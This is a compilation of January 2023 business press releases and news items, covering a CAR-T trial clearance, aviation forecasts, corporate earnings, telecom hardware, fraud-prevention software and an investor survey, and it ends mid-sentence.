On track to commence patient enrollment during the first half 2023 ADELAIDE, Australia , Jan. 23, 2023 (GLOBE NEWSWIRE) -- Carina Biotech Pty Ltd (Carina, the Company), a cell therapy immuno-oncology company developing CAR-T and other adoptive cell therapies for the treatment of solid cancers, announced today that it has received the safe to proceed letter from the U.S. FDA for its Investigational New Drug (NDA) application to conduct a first-in-human Phase 1/2a clinical trial of CNA3103, its LGR5-targeted chimeric antigen receptor T cell (CAR-T) therapy candidate, in patients with advanced colorectal cancer (CRC). The Phase 1/2a clinical trial will enroll a total of 44 patients with metastatic disease failing prior lines of chemotherapy and who express LGR5 on their cancer cells. Twenty-four patients in the Phase 1 segment will be enrolled in select Australian centers. Following a BOIN (Bayesian Optimal Interval) design, ascending CAR-T cell doses will be administered to cohorts of three patients each, to assess the safety and tolerability of CNA3103, and to determine its optimal dose. The subsequent Phase 2 segment will enroll 20 patients at the optimal dose, in both Australia and the U.S., to characterize the activity of CNA3103, in terms of antitumor response, duration of response and time to disease progression. Our positive engagement with the FDA marks a major step forward for Carina and our continued efforts to develop CNA3103 as a potential treatment for the third most common cancer in the U.S. and worldwide, colorectal cancer, said Deborah Rathjen, Carinas Chief Executive Officer. The FDAs letter provides the pathway for this clinical trial and further validates that a significant unmet need exists for more effective treatment options for colorectal cancer. Preparations, including site selection, are underway as we aim to commence enrolling patients during the first half of 2023. This interaction with the FDA corroborates our ability to gain the agencys support for our proposed trial of CNA3103 in metastatic colorectal cancer patients, said Jose Iglesias, MD, Carinas Chief Medical Officer. Our approach is doubly innovative, in being one of the of emergent CAR-T treatment protocols in solid tumors and in utilizing a novel, and to our knowledge, unique CAR-T construct against LGR5  an important cancer stem cell-associated antigen linked to the pathogenesis, dissemination, and treatment resistance of coloretal cancer.



About CNA3103 Carinas proprietary CNA3103 CAR-T cell targets LGR5, a cancer stem cell marker that is highly expressed on advanced colorectal cancer and some other cancers. In colorectal cancer patients, LGR5 expression has been correlated with poor prognosis. Cancer stem cells are a small sub-population of cells within a tumor with the ability to self-renew, differentiate into the many cell types of a tumor, initiate new tumors, and resist chemotherapy and radiotherapy (leading to relapses). By targeting cancer stem cells, it is hoped that this therapy will reduce the tumors ability to generate new cancer cells, resulting in durable tumor suppression and preventing the relapses that are very common in patients with colorectal cancer. Carinas pre-clinical studies of CNA3103 have shown promising results with complete tumor regression and no tumor recurrence following a single administration. CNA3103 has also demonstrated impressive tumor access and prolonged survival, enabling rejection of new tumors.

About Carina Biotech Immuno-oncology company Carina Biotech is developing CAR-T and other adoptive cell therapies for the treatment of solid cancers. In addition to its LGR5-targeted CAR-T cell therapy CNA3103 for advanced colorectal cancer, Carina has a deep pipeline of CAR-T programs. Using its proprietary chemokine receptor platform, Carina aims to improve access to and infiltration of solid cancers by CAR-containing cells, resulting in more potent and specific cancer killing and reduced off-target effects. Carina also has a fully integrated, proprietary CAR-T cell manufacturing process that has both reduced manufacturing time and improved CAR-T cell quality, capable of delivering robust serial-killing CAR-T cells to patients. Forward Looking Statements Investment in Carina Biotech is subject to investment risk, including possible loss of income and capital invested. Carina does not guarantee any particular rate of return or performance, nor does it guarantee the repayment of capital. This press release does not take into account the investment objectives, financial situation and particular needs of the investor. Before making any investment in Carina, the investor or prospective investor should consider whether such an investment is appropriate to their particular investment needs, objectives and financial circumstances, and consult an investment advisor as necessary. This press release contains forward-looking statements regarding the potential of Carinas projects and interests, and the development and therapeutic potential of the companys investigational CAR-T therapies. Any statement describing a goal, expectation, intention or belief of the company is a forward-looking statement and should be considered an at-risk statement. Such statements are subject to certain risks and uncertainties, particularly those inherent in the process of discovering, developing and commercializing therapies that are safe and effective for use as human therapeutics and the financing of such activities. There is no guarantee that Carinas research and development projects and interests (where applicable) will receive regulatory approvals or prove to be technically and/or commercially successful in the future. Actual results of further research could differ from those projected or detailed in this press release. As a result, potential investors are cautioned not to rely on forward-looking statements. Consideration should be given to these and other risks concerning research and development programs, including but not limited to those specifically referred to in this press release. Contact Investor Inquiries Deborah Rathjen, PhD ICR Westwicke

CEO & Managing Director Stephanie Carrington

Carina Biotech 646-277-1282

+61 418 160 425 [email protected]

[email protected]



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[January 23, 2023] Human Rights Activist Zahid F. Sarder Saddi Meets with Congressman Darren Soto Following Oath of Office

WASHINGTON, DC, Jan. 23, 2023 (GLOBE NEWSWIRE) -- Community Activist and Leader Zahid F. Sarder Saddi recently met with Congressman Darren Soto shortly after he was sworn in for a subsequent term, taking his oath of office in the House of Representatives in Washington DC. Congratulating him on securing a fourth term in office, Saddi thanked Rep. Soto for exemplary leadership in his role representing Floridas 9th district. Praising the representative for his continued, unflinching support to the Bangladeshi-American community of his district. Photo: Bangladeshi Rights Activist Zahid F. Sarder Saddi and Congressman Darren Soto in his congressional office. Running through a swath of Central Florida, many Bangladeshi-American small businesses are based in Rep. Sotos district. Additionally, the demographic is prevalent in the healthcare sector, which has proven essential in providing assistance during natural disasters such as when Hurricane Ian hit a large swath of Florida late last year. Having served during the pandemic and through several natural disasters, Rep. Darren Soto assumed office in 2017. Rep. Soto, likewise, praised Saddi for an excellent track record in representing and advocating for his community in frequently meeting with members of the legislative and executive branches of the US Government, known as an instrumental figure in conveying the interests and needs of the Bangladeshi people both overseas and domestically in the US, such as in the community of Floridas 9th District. SOURCE:@RepDarrenSoto on Twitter. In Congress, Rep. Soto servs on the Natural Resources Committee, as well as the Energy and Commerce Committee where he advocates for greater access to healthcare, fighting climate change, and undertaking ambitious goals protecting the environment to ensure clean air and water. Taking additional steps in office to protect emerging businesses and boost domestically-owned companies making significant technological advances. Emphasizing a strong infrastructure, Rep. Soto has advocated for the community of his district and has delivered greater rates of fiduciary support for his district.



Photo: Bangladeshi Rights Activist Zahid F. Sarder Saddi and Congressman Darren Soto in Rep. Sotos office.

Having secured victory in his election last November by around 15,000 votes, Soto earned his fourth term representing the district which includes parts of Orange, Osceola, and Polk County in Central Florida. Rep. Soto additionally led in all three counties in the 9th Congressional District. Having held consistent correspondence for over 20 years, Zahid F. Sarder Saddi and Congressman Darren Soto have bonded over a shared passion for human rights and democracy. Congressman Soto has been a friend for over 2 decades, and watching his career develop over the years has been incredibly uplifting in my own work, Saddi says. From the beginning of his career when he ran for the Florida House of Representatives, I knew he had enormous potential. Also seeing his transition into serving the State Senate, then the United States House, Im not surprised hes earned his fourth term in office. Hundreds of thousands of Floridians are rightfully proud of his role advocating for their interests in the United States Congress. Photo: Saddi and Congressman Soto discussed several topics during the meeting. John Cortes, District Director, and Julian Duque, Press Assistant to the Congressman Darren Soto 9th District of Florida were also present. Zahid F. Sarder Saddi sees the achievements that Congressman Soto has made firsthand, as he is a resident of District 9 himself. Residing in Celebration, a master-planned community in Osceola County and a suburb of Orlando, Celebration is located near Walt Disney World and was originally developed by The Walt Disney Company. The community has had a frequent spot on several top 10 lists of the most beautiful locations to live in within the United States. Its a town like no other, Saddi says. Celebration is a place where you can raise your family and children with a sense of peace and tranquility. And if you need help or support of any kind, your Congressmans door is always open to its citizens. We appreciate our Congressman Darren Sotos leadership and unflinching support of the community. It has been an absolute pleasure having him represent us in Washington.

Dedicated to serving the Bangladeshi community for almost three full decades, Zahid F. Sarder Saddi is an effective foreign affairs advisor that ensures that members of the community both in the United States and living in Bangladesh are equally represented in the halls of US Congress. Having served effectively as Foreign Advisor to the former three-term Prime Minister of Bangladesh, Hon. Begum Khaleda Zia, Zahid F. Sarder Saddi specializes in providing geopolitical insight on the Indo-Pacific. Saddi takes active steps in offering a valuable perspective through continued collaboration with the United States Congress in promoting global democracy and human rights. About: Zahid F. Sarder Saddi is an influential civil society leader, humanitarian, and advocate for Bangladesh and its people. He helps Bangladeshi expatriates assimilate into life in the United States while also preserving their own values and traditions. Zahid F. Sarder Saddi works with several organizations and holds a special passion for helping the Bangladeshi community in the United States and around the world. To learn more about Zahid F. Sarder Saddi, please visit www.ZahidFSarderSaddi.com or reach out to Zahid F. Sarder Saddi at [email protected]



Zahid F. Sarder Sadd [email protected]

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[January 24, 2023] Safire Technology Group Expands with a New R&D Laboratory in Knoxville at UT's Spark Innovation Center

Today, Safire Technology Group, Inc. (Safire Group), a venture-backed company developing and manufacturing Lithium-ion (Li-ion) battery safety technology, announced its expansion to Knoxville, Tennessee, with the opening of a new laboratory at the University of Tennessee Spark Innovation Center. The laboratory will support the continued growth of the company, housing Safire Group's research and development division and allowing the company to continue innovating its patented SAFe Impact Resistant Electrolyte (SAFIRE) additive for Li-ion batteries. The new location is strategically chosen to allow Safire Group to build on its existing partnership with Oak Ridge National Laboratory (ORNL). In 2022, Safire Group and ORNL announced an exclusive licensing agreement for Safire Group to commercialize the ORNL-invented SAFIRE additive. Andrew Hanna, formerly of ExxonMobil Corporation, will oversee Safire Group's Knoxville facilities as Head of Product and Brand. "The new laboratory, with its close proximity to ORNL and the University of Tennessee, offers a worldclass pipeline of talented scientists and engineers," said John Lee, co-Founder and CEO, Safire Group. "The Knoxville area represents an attractive choice to expand our battery R&D capabilities and hire highly qualified talent from the community."



The Spark Innovation Center, located in the University of Tennessee Research Park, focuses on entrepreneurship development and commercialization of regional technology-based startup companies. Invitation to lease space in the collaborative state-of-the-art facility is highly competitive, and Safire Group's selection confirms the company's progress and capabilities in the battery innovation industry. "The Spark Innovation Center focuses on helping our region's most promising technology companies gain traction and grow in Tennessee," said University of Tennessee Research Park President and CEO Tom Rogers. "We are delighted that another cleantech company has decided to call the Research Park and Knoxville home as Safire Group works to commercialize ORNL technology."

"I am excited to welcome Safire Group to Knox County," said Knox County Mayor Glenn Jacobs. "Not only will the group be an asset in retaining and attracting talent for our workforce, this announcement is a tangible example of the importance of our innovation engines-in this case, ORNL and the UT Research Park at Cherokee Farm-working with the private sector to bring quality jobs and economic opportunity to the Knox County area." "Safire Group's move to the Spark Innovation Center in Knoxville is another big win for our city and this entire region," said Knoxville Mayor Indya Kincannon. "This cleantech company perfectly complements our efforts to make it easy, safe, and affordable for individuals and businesses to switch to electric vehicles, making our air cleaner and our city more resilient." "The Knoxville Chamber is committed to supporting innovative entrepreneurs that are creating high-wage, high-growth companies," said Doug Lawyer, vice president of economic development, Knoxville Chamber. "This announcement directly aligns with the Chamber's efforts to transition Knoxville's economy. Safire Group is doing a great job of capitalizing on multiple regional assets, including ORNL and Spark Innovation Center. We are excited to see them attracting new talent from out-of-state and retaining local talent through internships." Alongside the Knoxville Chamber and Spark Innovation Center, the ribbon cutting and accompanying press conference will be held on Tuesday, January 24 at 2:00 p.m. Eastern at the Institute for Advanced Materials and Manufacturing. Scheduled speakers include Mayor Glenn Jacobs, Knox County; Mayor Indya Kincannon, City of Knoxville; Tom Rogers, president and CEO, The University of Tennessee Research Park; Susan Hubbard, Deputy for Science and Technology, ORNL; Doug Lawyer, vice president of economic development, Knoxville Chamber; and John Lee, co-founder and CEO, Safire Group. About Safire: Safire Technology Group, Inc. (Safire Group) is a venture-backed company developing batteries that prevent fire and explosion and improve performance. The company's core technology, SAFe Impact Resistant Electrolyte (SAFIRE), is the world's first patented and proprietary drop-in additive for Lithium-ion (Li-ion) batteries that prevents fire and explosion through an instantaneous liquid-to-solid transformation upon kinetic impacts, such as electric vehicle or eBike crashes. The additive provides a safe, easily integrated solution for EVs and other Li-ion-powered equipment, resulting in increased safety and stability, higher performance, and projectile and ballistic protection. Safire Group has been awarded an exclusive license to five patents to date through its partnership with the technology's inventor, Oak Ridge National Laboratory. For more information, visit www.safire.co and follow us on LinkedIn. View source version on businesswire.com: https://www.businesswire.com/news/home/20230123005801/en/

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[January 24, 2023] Basilea reports preliminary operating profit for 2022, significantly above guidance

Successful implementation of strategic decision to focus on anti-infectives and stronger than expected revenue lead to profitability earlier than anticipated Ad hoc announcement pursuant to Art. 53 LR Basel/Allschwil, Switzerland, January 24, 2023 Basilea Pharmaceutica Ltd (SIX: BSLN), a commercial-stage biopharmaceutical company committed to meeting the needs of patients with severe bacterial or fungal infections, announced today that on an unaudited preliminary basis it expects to have achieved an operating profit of approximately CHF 18 million for the financial year 2022 and expects to report a net profit. Basilea had previously guided for an operating loss for 2022 of CHF 10 million to 15 million. Adesh Kaul, Chief Financial Officer, commented: Our strong 2022 financial performance is the result of the successful implementation of our strategic decision to focus on anti-infectives in combination with the continued commercial success of our marketed brands. Our financial strength puts us in an excellent position to build and maintain a balanced R&D portfolio of innovative drug candidates for the treatment of severe bacterial and fungal infections going forwards, to support the long-term growth of Basilea, and in so doing, execute on our strategy of becoming a leading anti-infectives company. In January 2023, Basilea announced that the unaudited total revenue for 2022 is expected to amount to approximately CHF 148 million, exceeding the previous full-year 2022 guidance of CHF 116 million to 122 million. The audited financial statements as well as the annual report 2022 will be published on February 14, 2023. The final audited revenue and the operating result for 2022 may differ from the preliminary numbers reported so far. About Basilea



Basilea is a commercial-stage biopharmaceutical company founded in 2000 and headquartered in Switzerland. We are committed to discovering, developing and commercializing innovative drugs to meet the needs of patients with severe bacterial or fungal infections. We have successfully launched two hospital brands, Cresemba for the treatment of invasive fungal infections and Zevtera for the treatment of bacterial infections. In addition, we have several preclinical anti-infective assets in our portfolio. Basilea is listed on the SIX Swiss Exchange (SIX: BSLN). Please visit basilea.com. Disclaimer

This communication expressly or implicitly contains certain forward-looking statements, such as "believe", "assume", "expect", "forecast", "project", "may", "could", "might", "will" or similar expressions concerning Basilea Pharmaceutica Ltd and its business, including with respect to the progress, timing and completion of research, development and clinical studies for product candidates. Such statements involve certain known and unknown risks, uncertainties and other factors, which could cause the actual results, financial condition, performance or achievements of Basilea Pharmaceutica Ltd to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Basilea Pharmaceutica Ltd is providing this communication as of this date and does not undertake to update any forward-looking statements contained herein as a result of new information, future events or otherwise. For further information, please contact: Peer Nils Schroder, PhD



Head of Corporate Communications & Investor Relations

Basilea Pharmaceutica International Ltd, Allschwil

Hegenheimermattweg 167b

4123 Allschwil

Switzerland Phone +41 61 606 1102 E-mail [email protected]

[email protected] This ad hoc announcement can be downloaded from www.basilea.com. Attachment Press release (PDF)



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[January 24, 2023] Wind River Supports Airbus in its Certification Milestone for Automatic Air-to-Air Refueling (A3R)

Wind River, a global leader in delivering software for mission-critical intelligent systems, today announced it has worked with Airbus to support the A330 Multi-Role Tanker Transport (MRTT) aircraft for automatic air-to-air refueling (A3R). The MRTT aircraft is the world's first tanker to be certified for automatic air-to-air refueling boom operations in daylight. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230124005315/en/ The Airbus A330 MRTT is the world's first certified tanker capable to conduct automatic air-to-air refueling in daylight operations. (Graphic: Business Wire) Airbus uses VxWorks 653 for the A330 MRTT air-to-air refueling boom system (ARBS). This system is comprised of multiple ARINC 653-compliant applications running at multiple levels of safety-criticality and achieved DO-178C DAL A certification.



With this development, the Airbus A330 MRTT A3R capability has earned the distinction of being certified by the Spanish National Institute for Aerospace Technology (INTA), involving multiple ED-12C / DO-178C DAL A applications running simultaneously on multiple cores on a multicore processor. "A3R is a significant milestone in the evolution of airborne refueling systems. It is an honor to work with Airbus and play an important role in its latest A3R achievement," said Avijit Sinha, chief product officer, Wind River. "The use of our industry-leading technology demonstrates continuing Wind River leadership in safety-critical real-time software solutions for mission critical systems. Wind River is able to help customers successfully navigate the challenges and complexities around certification."

"Airbus is the first worldwide company to certify an airborne military equipment with an embedded multicore processor to the highest assurance level DAL-A covering CAST-32A requirements. With the support of Wind River, Airbus successfully navigated its multicore certification journey to achieve this impressive milestone. In addition to delivering its proven industry leading technologies, Wind River was a trusted advisor to help identify milestones, potential obstacles, and develop key metrics during the process to ensure that the system architecture was on the right track," said Andres Moran Valero, multicore certification team leader, Air Refueling Software group, Airbus. The automated A3R system enables more efficient operation, reduces air refueling operator (ARO) workload, reduces inherent risk of this operation and optimizes the rate of air-to-air refueling transfer. In A3R, advanced technologies can identify the receiving aircraft's shape and its refueling receptacle, then perform automated contact and fuel transfer while flying at high altitude. Proven in the most challenging safety-critical applications, VxWorks 653 makes it easier and more cost-effective for technology suppliers to meet the stringent safety certification requirements of EN 50128, IEC 61508, ISO 26262, and ED-12C / DO-178C. About Wind River Wind River is a global leader in delivering software for mission-critical intelligent systems. For 40 years, the company has been an innovator and pioneer, powering billions of devices and systems that require the highest levels of security, safety, and reliability. Wind River software and expertise are accelerating digital transformation across industries, including automotive, aerospace, defense, industrial, medical, and telecommunications. The company offers a comprehensive portfolio supported by world-class global professional services and support and a broad partner ecosystem. To learn more, visit Wind River at www.windriver.com. Wind River is a trademark or registered trademark of Wind River Systems, Inc., and its affiliates. Other names may be the trademarks of their respective owners. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005315/en/

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Unemployment still is at a record low across the Buffalo Niagara region.

The region's jobless rate stood at 3.2% during December  the lowest for that month in at least three decades and probably much longer than that, the state Labor Department reported Tuesday.

The drop in unemployment, which fell from 3.5% in December 2021, was the latest in a series of steady declines in jobless levels as local employers continue to struggle to find enough qualified workers to fill vacant positions.

While hiring has been subdued across the region since the spring, and the recovery from the pandemic-related job losses in 2020 has been slow, the region's shrinking pool of available workers has pushed the unemployment rate down to a three-decade low.

At a time when hiring has been modest and the region still has nearly 25,000 fewer jobs than it did at the start of the Covid-19 pandemic, the region's shrinking pool of workers who are looking for a job but can't find one is a significant constraint on employment growth, economists said.

Just 17,400 people were without a job and actively looking for one during December, the Labor Department said. That's roughly 7,000 fewer workers than would be needed to fill each of the region's unrecovered jobs.

"Unless we see an increase in the size of the labor force or we see some kind of change in the landscape, we're going to have a difficult time recovering all of the jobs that we lost," said Julie Anna Golebiewski, a Canisius College economist. "I really don't foresee it happening in the near future."

Part of the problem is that the Buffalo Niagara labor pool is smaller than it was, leaving local employers with fewer workers to choose from as they try to fill open positions. The number of local workers has shrunk by almost 3%  or a little more than 16,000 workers, since December 2019, according to state Labor Department data.

With fewer workers and plenty of jobs to fill, the number of people who are actively looking for a job but can't find one has dropped to a modern-day low of 17,400 during December. That's 7,600 fewer unemployed people than in December 2019  a 30% drop.

And partly because workers are so scarce, about 4% of the region's jobs still haven't returned since the pandemic. As a result, the number of people holding jobs across the region also has shrunk. It's down by nearly 9,000 people, or slightly less than 2%.
[January 24, 2023] 44,500 New Aircraft to Be Delivered Over the Next Two Decades, Worth US$2.9 Trillion

The new Cirium Fleet Forecast reveals demand for approximately 44,500 new aircraft globally over the next two decades, worth US$2.9 trillion. The forecast published by Ascend by Cirium, the consultancy arm of aviation analytics firm Cirium, is an independent outlook of the global passenger and freighter market for the next 20 years. It reaffirms an encouraging long-term projection for the aviation industry and its recovery from the Covid-19 pandemic, predicting that 20-year aircraft deliveries will be 1% lower globally than predicted a year ago. This comes despite Russia's invasion of Ukraine, travel restrictions in China, and rising energy costs all emerging as influential factors during 2022. The aviation industry's recovery from the Covid-19 crisis in early 2020, has progressed significantly if unevenly across regions. Global aviation activity is predicted to reach 2019 levels in October. Rob Morris, Ascend by Cirium's Global Head of Consultancy, said: "The new Cirium Fleet Forecast shows a positive long-term outlook for aviation. The industry is undergoing structural changes but remains on course to return to traditional growth paths by 2025." "The global passenger fleet will be required to increase by around 22,000 aircraft to service passenger traffic, which we predict to grow 3.6% annually to reach 47,700 aircraft by the end of 2041. "These new aircraft will be required to meet demand for air travel, but also to replace less efficient, older-generation types." Asia will account for over 40% of new deliveries Asia-Pacific remains the key growth region for new deliveries, driven by China. The country is forecast to have the highest annual passenger traffic growth rate at over 6% and account for 19% of deliveries in 2041, ahead of all other Asia-Pacific countries, with a combined share of 22%. North American and European airlines are projected to account for 21% and 17% of deliveries respectively. Middle East airlines will take 7% of deliveries, accounting for 14% in value terms due to the rich mix of higher value twin-aisle deliveries. In the forecast, Russian capacity and traffic are assumed to decline in the near term. Combined with the complete cessation of Ukrainian civil aviation activity, Russia/CIS traffic is then forecast to stabilize at 70% of 2019 levels in 2024. Demand for single-aisles will drive fleet growth At the end of November 2022, the single-aisle fleet was within 2% of 2019 levels, but twin-aisle aircraft numbers were still down by 20%. The single-aisle fleet willgrow faster by 3.7% annually, against 3.2% for twin-aisles as the recovery of long-haul traffic continues to lag. The regional aircraft fleet will rise more modestly, by 1.1% a year, with the turboprop fleet set to grow at a faster rate within the regional sector.



Forecast traffic growth over the long term will require the global passenger fleet to increase by around 22,000 aircraft, which equates to a 3.1% annual growth rate, taking the inventory to some 47,700 aircraft at the end of 2041. The in-service passenger fleet is not forecast to return to 2019 levels until mid-2023, thus effectively losing up to four years of 'normal' fleet growth.

Airbus and Boeing will remain the two largest commercial aircraft OEMs, delivering an estimated 80% of aircraft between them and 88% by value through 2041. However, there is US$360 billion of demand for other OEMs or new programs. The pressures to replace older, less-efficient types will increase Close to 88% of the current passenger fleet is forecast to be retired from passenger service during the next 20 years. Freighters have longer useful economic lives, so approximately 70% of the current fleet will be retired by 2041. Overall, there will be some 19,000 retirements from the end-2021 passenger fleet, plus a further 2,500 aircraft that leave the passenger fleet via cargo conversion. As pressure to switch to more environmentally friendly aircraft grows, replacing less efficient older-generation types will be an increasingly important element of fleet planning. The Covid-19 crisis has seen relatively young aircraft being phased out, while those of older vintages may remain in storage until eventual scrapping. The freighter boom continues, but may not persist Freight capacity (available tonne kilometres or ATKs) is forecast to grow annually at 3.0% and traffic (FTKs) at 3.7%, relative to 2019. The forecast predicts the supply of some 3,560 freighter aircraft over the next 20 years, including 1,060 new builds (30%) worth US$130 billion, and 2,480 conversions of passenger aircraft (70%). This is a similar volume and profile to that predicted in the previous forecast, reflecting the continued near-term boom in conversions triggered by the air-cargo market dynamics of the Covid-19 pandemic, including a short-term drop in passenger belly capacity, e-commerce growth and rising feedstock availability. Although the current conversion boom may not persist, it is enabling the replacement of older, less efficient aircraft. To download an executive summary of the Cirium Fleet Forecast, [click here] About Cirium Cirium brings together powerful data and analytics to keep the world moving. Delivering insight, built from decades of experience in the sector, enabling travel companies, aircraft manufacturers, airports, airlines and financial institutions, among others, to make logical and informed decisions which shape the future of travel, growing revenues and enhancing customer experiences. Cirium is part of RELX, a global provider of information-based analytics and decision tools for professional and business customers. The shares of RELX PLC are traded on the London, Amsterdam and New York Stock Exchanges using the following ticker symbols: London: REL; Amsterdam: REN; New York: RELX. For further information please follow Cirium updates on LinkedIn or Twitter or visit www.cirium.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005195/en/

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[January 24, 2023] Hexaware Recognized by ICSI for Excellence in Corporate Governance

MUMBAI, India, Jan. 24, 2023 /PRNewswire/ -- Hexaware, a global technology and business process services company, has been recognized by the Institute of Company Secretaries of India in the Unlisted Segment: Medium Category of the ICSI National Awards for Excellence in Corporate Governance. Through its National Awards program, the ICSI recognizes companies for implementing best practices in Corporate Governance and demonstrating a culture of excellence regarding the evolving globally acceptable standards of corporate governance. The ICSI Awards are based on a rigorous and comprehensive evaluation process led by experts from various fields and chaired by a former Chief Justice of India - this year, the jury was headed by the Hon'ble Mr. Justice P. Sathasivam/span>. The evaluation process also involved interviews with the two Independent Directors on Hexaware's Board of Directors  Milind Sarwate and Joseph McLaren Quinlan.



Hexaware's CFO, Vikash Jain, said, "We are pleased to have been recognized by the Institute of Company Secretaries of India, which sets the standard for excellence in corporate governance. This acknowledgement is a testament to our focus on corporate governance initiatives, including our value-based approach, strong corporate culture, governing policies, adoption of best practices, effective leadership and strict adherence to principles of integrity, transparency and accountability." About Hexaware

Hexaware is a global technology and business process services company. Our 30,000 Hexawarians are driven by our purpose; to create smiles through great people and technology. With 54 offices in 19 countries, we empower enterprises to realize digital transformation at scale and speed by partnering with them to build, modernize, run, and optimize their IT landscapes. We put people first in everything we do and seek to improve people's lives by collaborating with our stakeholders to build a better, more sustainable tomorrow. Learn more about Hexaware at https://www.hexaware.com. Logo: https://mma.prnewswire.com/media/530945/Hexaware.jpg View original content:https://www.prnewswire.com/in/news-releases/hexaware-recognized-by-icsi-for-excellence-in-corporate-governance-301728893.html

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[January 24, 2023] RtBrick Supports a Hardened Open Switch from Edgecore

RtBrick today announced it has added support for the CSR440 switch from Edgecore. RtBrick's software enables the Edgecore CSR440 to act as a Broadband Network Gateway (BNG), or the router that delivers internet services at the edge of a telco network. The Edgecore CSR440 delivers 800 Gbps of throughput in a single Rack Unit. It is also hardened, so it can be deployed close to the network edge in environments that are not temperature controlled, allowing subscriber services to be terminated closer to distributed compute and storage infrastructure. Additionally, it can be used as a highly cost-effective way of deploying a BNG for smaller communities. "Combined with RtBrick's routing software, Edgecore's open networking platforms provide much greater flexibility than conventional routing systems," said Heimdall Siao, President of Edgecore. "By integrating RtBrick's software with the CSR440 - 800G Cell Site Router plaform, RtBrick has shown that telco routing functions such as the Broadband Network Gateway can now be deployed using disaggregated platforms in carrier-grade environments."



The Edgecore CSR440 uses the latest Broadcom Qumran2A chipsets, which deliver high levels of performance from cost-effective hardware. Using RtBrick's software, the CSR440 can operate as a standalone BNG and support thousands of subscribers on a single switch. "Adding support for a new open switch like the Edgecore CSR440 is another example of the amount of options carriers now have when they choose to build disaggregated networks," said Pravin S. Bhandarkar, Founder and Chief Executive Officer at RtBrick. "It allows carriers to break out of the vendor lock-in cycle and build open networks with a wide selection of interchangeable hardware platforms."

RtBrick's BNG software has already been deployed in Deutsche Telekom's production broadband network and was recently selected by the TIP OpenBNG initiative, against criteria defined by five tier-1 carriers: BT, Deutsche Telekom, Telefonica, Telecom Italia Mobile and Vodafone. To learn more about RtBrick's pioneering approach to networking and the latest features of its open routing software, visit rtbrick.com. About RtBrick

RtBrick has pioneered carrier routing software that runs on off-the-shelf hardware. It has applied the same approach to networks that the huge 'cloud-natives' have used to build and operate their web-scale IT services. RtBrick is a privately held company, incorporated in the USA, with staff located in Europe and India. The information was submitted for publication at 10:00 CET on JANUARY 24, 2023 View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005041/en/

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[January 24, 2023] AirAsia Expands Use of DataVisor Platform to Prevent Fraud Across Its Entire Product Portfolio

DataVisor, the market leader in fraud and risk management, announced today that it has strengthened its relationship with AirAsia, the multinational Asean airline group headquartered in Malaysia. AirAsia will expand the use of DataVisor's market-leading fraud and risk management platform to protect against a broader set of fraud attacks along with strengthening its mobile channel using DataVisor's dEdge - a mobile-first device fingerprinting and behavior solution. By leveraging these additional capabilities and protecting against additional fraud use cases, AirAsia can protect customers from fraud across its entire product portfolio. "We're thrilled to be strengthening our relationship with AirAsia, to help them fight all types of fraud across their entire ecommerce platform," said Yinglian Xie, Co-founder and CEO of DataVisor. "DataVisor's comprehensive suite of solutions combines the power of AI with seamless real-time data and decision flow orchestration, analysis, review, and investigation tools. Together, these capabilities along with our innovative edge computing solutions will help AirAsia deliver complete fraud and risk protection for customers as they book flights and hotels and take advantage of AirAsia's broad array of services." In 2020, AirAsia partnered with DataVisor to fight ticketing fraud and promotion abuse, and to capture known, unknown and evolving fraud attacks in real time. Since implementing DataVisor's fraud and risk platform, including production-ready Unsupervised Machine Learning, thecompany has been able to detect 54% more fraud with 99% accuracy, while reducing false positives to improve the ticketing experience for good customers. By expanding its use of the DataVisor platform with additional layers of protection and broader set of fraud attack types, AirAsia can provide comprehensive fraud and risk detection and prevention across customer's entire lifecycle encompassing multiple products - including shopping and food delivery, health screenings and more - without adding friction for good customers.



"DataVisor came through for us during a challenging time following the onset of the global pandemic and helped us minimize losses from ticketing fraud and promotional abuse, all in a single platform with comprehensive capabilities," said Steve Harbick, Chief Information Security Officer, Capital A (AirAsia). "DataVisor's outstanding customer support makes them a strategic partner. We can rest easy that our entire ecommerce platform is protected from fraud, and that our customers can enjoy all the services we offer without friction." For more information about DataVisor's digital fraud solutions, visit www.datavisor.com.

About DataVisor DataVisor is the world's leading fraud and risk management platform that enables organizations to respond to fast-evolving fraud attacks and mitigate risks as they happen in real time. Its comprehensive solution suite combines patented machine learning technology with native device intelligence and a powerful decision engine to provide protection for the entire customer lifecycle across industries and use cases. DataVisor is recognized as an industry leader and has been adopted by many Fortune 500 companies across the globe. About AirAsia Aviation Group Limited AAAGL is the holding company under Capital A (formerly AAGB) for its group of airline and airline investment portfolio companies. Underpinned by a relentless pursuit of operational excellence as the world's leading low-cost carrier, AAAGL maintains a continued focus on cost and is committed to delivering the best value across all portfolio businesses. Other portfolio companies in the AAAGL group include AirAsia Consulting, the food, and beverage restaurant division, Santan as well as AirAsia SEA - the shared services corporate division. GTR completes the airline group ecosystem, providing industry-leading ground services capabilities for not only AirAsia but also third-party airlines. The airlines within the group have used the downtime in flying over the past two years to put in place a robust platform to return to the skies leaner and stronger. The introduction of numerous contactless procedures will make flying not only safe and affordable but also more contactless and hygienic than ever before including contactless check-in via the AirAsia Super App and revolutionary facial recognition technology (FACES). View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005013/en/

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[January 24, 2023] Canadian Retail Investors Seek Biodiversity Protection in Their Portfolios, Want Advisors to Offer Responsible Investments

The vast majority of Canadian retail investors are concerned about biodiversity loss and want to see biodiversity protection reflected in their portfolios, according to a new survey from the Responsible Investment Association (RIA). This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230124005278/en/ The 2022 RIA Investor Opinion Survey, which is based on an Ipsos poll of 1,005 individual investors in Canada, found that 74% of respondents are concerned about biodiversity loss, with 68% agreeing that it was important for companies in their portfolios to commit to preventing biodiversity loss. Investors' concern about greenwashing remained steady at 75%, similar to what was expressed in 2021. In a year characterized by greenwashing headlines, 78% of respondents agreed that there needs to be increased scrutiny in the investment industry around greenwashing. Despite these concerns, 76% of respondents agreed that RI can have a real impact on the economy and contribute to positive change for society. The survey, sponsored by AGF Investments Inc. and Desjardins Group, also shows that 73% of respondents want their financial services provider to inform them about responsible investments (RI) that are aligned with their values, while only 31% said they had ever been asked if they were interested. About one-third of respondents said they currently own responsible investments, similar to the last 3 years. "It's clear that nvestors are thinking about social and environmental issues and want their portfolios to reflect their concerns," said Patricia Fletcher, CEO of the RIA. "This is an opportunity for financial advisors that are knowledgeable about responsible investing 